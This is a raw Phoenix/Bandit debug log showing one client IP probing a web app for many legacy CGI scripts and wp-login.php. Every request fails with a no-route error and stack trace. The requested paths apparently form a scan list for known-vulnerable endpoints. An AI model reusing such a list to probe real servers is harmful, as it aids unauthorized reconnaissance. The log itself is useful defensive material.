    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:07.112000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50462] GET /cgi-bin/count.cgi
[Thu Sep  3 08:41:07.172000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50462] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/count.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:07.289000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50474] GET /nph-mr.cgi
[Thu Sep  3 08:41:07.316000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50474] ** (Phoenix.Router.NoRouteError) no route found for GET /nph-mr.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:07.829000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50482] GET /cgi-bin/Count.cgi
[Thu Sep  3 08:41:07.865000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50482] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/Count.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:08.023000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50490] GET /query.cgi
[Thu Sep  3 08:41:08.050000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50490] ** (Phoenix.Router.NoRouteError) no route found for GET /query.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:08.484000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50494] GET /cgi-bin/faqmanager.cgi
[Thu Sep  3 08:41:08.507000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50494] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/faqmanager.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:08.745000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50508] GET /session_login.cgi
[Thu Sep  3 08:41:08.758000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50508] ** (Phoenix.Router.NoRouteError) no route found for GET /session_login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:09.201000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50524] GET /cgi-bin/FormHandler.cgi
[Thu Sep  3 08:41:09.234000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50524] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/FormHandler.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:09.392000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50530] GET /show_bug.cgi
[Thu Sep  3 08:41:09.414000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50530] ** (Phoenix.Router.NoRouteError) no route found for GET /show_bug.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:10.054000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50536] GET /test
[Thu Sep  3 08:41:10.087000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50536] ** (Phoenix.Router.NoRouteError) no route found for GET /test (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:10.790000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50550] GET /test.cgi
[Thu Sep  3 08:41:10.818000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50550] ** (Phoenix.Router.NoRouteError) no route found for GET /test.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:10.927000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50532] GET /cgi-bin/FormMail.cgi
[Thu Sep  3 08:41:10.943000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50532] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/FormMail.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:11.445000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50564] GET /ucsm/isSamInstalled.cgi
[Thu Sep  3 08:41:11.467000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50564] ** (Phoenix.Router.NoRouteError) no route found for GET /ucsm/isSamInstalled.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:11.539000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50568] GET /cgi-bin/guestbook.cgi
[Thu Sep  3 08:41:11.555000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50568] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/guestbook.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:12.146000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50572] GET /whois.cgi
[Thu Sep  3 08:41:12.167000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50572] ** (Phoenix.Router.NoRouteError) no route found for GET /whois.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:12.189000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50578] GET /cgi-bin/help.cgi
[Thu Sep  3 08:41:12.215000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50578] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/help.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:12.778000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50590] GET /wp-login.php
[Thu Sep  3 08:41:12.794000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50590] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
